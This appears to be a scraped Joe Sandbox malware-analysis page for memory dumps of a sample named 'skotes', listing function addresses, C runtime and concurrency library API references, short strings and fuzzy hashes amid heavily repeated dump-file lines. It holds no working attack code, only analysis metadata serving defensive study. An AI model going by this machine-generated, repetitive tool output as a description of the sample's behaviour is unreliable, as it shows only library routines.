Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$LockNodeNode::Queue$Concurrency::critical_section::_Concurrency::critical_section::unlockNextWait$Acquire_lockBase::BlockConcurrency::Concurrency::critical_section::lockConcurrency::details::_ContextContext::CurrentDerefLock::_ReaderSchedulerScoped_lockScoped_lock::~_Switch_to_activeTimerWriter
String ID:
API String ID: 811866635-0
Opcode ID: dad90dffa5cd851101869a394f30660cebfedfb45ba0d9652c68986cfa623322
Instruction ID: 2ee92f39ff619a03778c6e32f02c8d989443c892865caed13a727f34bd56cded
Opcode Fuzzy Hash: dad90dffa5cd851101869a394f30660cebfedfb45ba0d9652c68986cfa623322
Instruction Fuzzy Hash: 05E04834500515DBCB04FB20D46956DFB71BF44350B148329E4A5572E2CF7C6E46CB85

Function 0074F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0074F3A3

Strings

8"w, xrefs: 0074F44B
`'w, xrefs: 0074F375

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"w$`'w
API String ID: 3903695350-1951729946
Opcode ID: b10a22cf27ba1aab4565f40c3d991f05f00ac71c9cf87ae8605a33023ae40fd2
Instruction ID: 66fc5eecc33a1c6f4bd654e370f6d1f666104f9bbe2ac64c7c58ff70b211785b
Opcode Fuzzy Hash: b10a22cf27ba1aab4565f40c3d991f05f00ac71c9cf87ae8605a33023ae40fd2
Instruction Fuzzy Hash: 4F315C32A00242EFEB21AE39D849B5B73E8EF04352F104429F459D7599DF78EC80CB15

Function 0074F1BF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0074F232
__freea.LIBCMT ref: 0074F298

Part of subcall function 0074B04B: RtlAllocateHeap.NTDLL(00000000,3936CCF5,?,?,0072D3FC,3936CCF5,?,00727A8B,?,?,?,?,?,?,00717465,?), ref: 0074B07E

Strings

Zt,mt, xrefs: 0074F1D2

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap__alloca_probe_16__freea
String ID: Zt,mt
API String ID: 809856575-97952540
Opcode ID: 5ed41bb94280f80d508ec9e2e868baeb6ccc0edc1646db97f32e6a4e62842dd5
Instruction ID: d3ff69f3c15ae3398d5839c6689f7f20ae3767dee25b637b2c7981c618302545
Opcode Fuzzy Hash: 5ed41bb94280f80d508ec9e2e868baeb6ccc0edc1646db97f32e6a4e62842dd5
Instruction Fuzzy Hash: 0531B171A0021AEBDB219F65CC45EAF7BA9FF85310F054128FD14AB251EB78CD51C7A0

Function 00741704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00741764
std::invalid_argument::invalid_argument.LIBCONCRT ref: 007417AF

Strings

pContext, xrefs: 007417A7

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: e9a6a467af35b107fec086f11231b321ff3c6a6e2d9b42d5b90a54fbde9e775b
Instruction ID: d0d440b3af44a1a1ac90a8a04035b5b7b2c1496497f2c5b561877a31cbeeca73
Opcode Fuzzy Hash: e9a6a467af35b107fec086f11231b321ff3c6a6e2d9b42d5b90a54fbde9e775b
Instruction Fuzzy Hash: B511083AB00214DBCF16FF28C89996D77A5AF84360B558065EC12AB342DB7CED81CBD0

Function 00730C5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_NonReentrantLock::_Acquire.LIBCONCRT ref: 00730CD7
Concurrency::details::ResourceManager::ResourceManager.LIBCONCRT ref: 00730D2A

Strings

p[w, xrefs: 00730CCF

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3080335589.000000000098E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3081588194.0000000000996000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3082991573.00000000009A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3084869034.00000000009D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3089557291.0000000000A04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3092524700.0000000000A05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3095030242.0000000000A06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3097217566.0000000000A09000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3099555404.0000000000A0B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3101991201.0000000000A1A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3103834048.0000000000A1B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_710000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$AcquireConcurrency::details::Concurrency::details::_Lock::_ManagerManager::Reentrant
String ID: p[w
API String ID: 3303180142-1017041218
Opcode ID: 5f13d7608bdbeae3e96e2218faabf40dfd11d86047604883200d21a110f1c49e
Instruction ID: a3a01a2178599806344fcdca39881d1d96336d06e849d610f35c123008e650b8
Opcode Fuzzy Hash: 5f13d7608bdbeae3e96e2218faabf40dfd11d86047604883200d21a110f1c49e
Instruction Fuzzy Hash: D101D870A05614DEFB24EBF8A57936D66E0AF08340F60446EF449EB283DE7C8E4087E5

Function 0072CAD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

CreateSemaphoreExW.KERNEL32(?,007365E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0072CAFC
CreateSemaphoreW.KERNEL32(?,007365E3,00000000,00000000,7FFFFFFF,00000000,00000000,001F0003,00000000), ref: 0072CB1E

Strings

es, xrefs: 0072CB12, 0072CAF0

Memory Dump Source

Source File: 00000006.00000002.3071388917.0000000000711000.00000040.00000001.01000000.00000007.sdmp, Offset: 00710000, based on PE: true

Associated: 00000006.00000002.3071283144.0000000000710000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071388917.0000000000772000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3071872451.0000000000779000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072029598.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072164112.0000000000785000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072314383.0000000000786000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3072388776.0000000000787000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073239026.00000000008D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073422228.00000000008D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073641457.00000000008EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073796583.00000000008EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3073991806.00000000008F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3075021113.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3076272152.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077091788.0000000000915000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077305980.0000000000916000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077436235.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077580083.000000000091A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077737514.0000000000928000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077851992.0000000000929000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3077926079.0000000000932000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078090745.000000000093D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078472443.0000000000953000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078876438.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3078992587.0000000000955000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079075448.0000000000959000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079198307.0000000000961000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079275216.0000000000962000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079363798.0000000000963000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079507057.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079593066.0000000000976000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079728111.0000000000977000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079818104.0000000000985000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3079920107.000000000098C000.00000040.00000001.01000000.00000007.sdmpDownload File
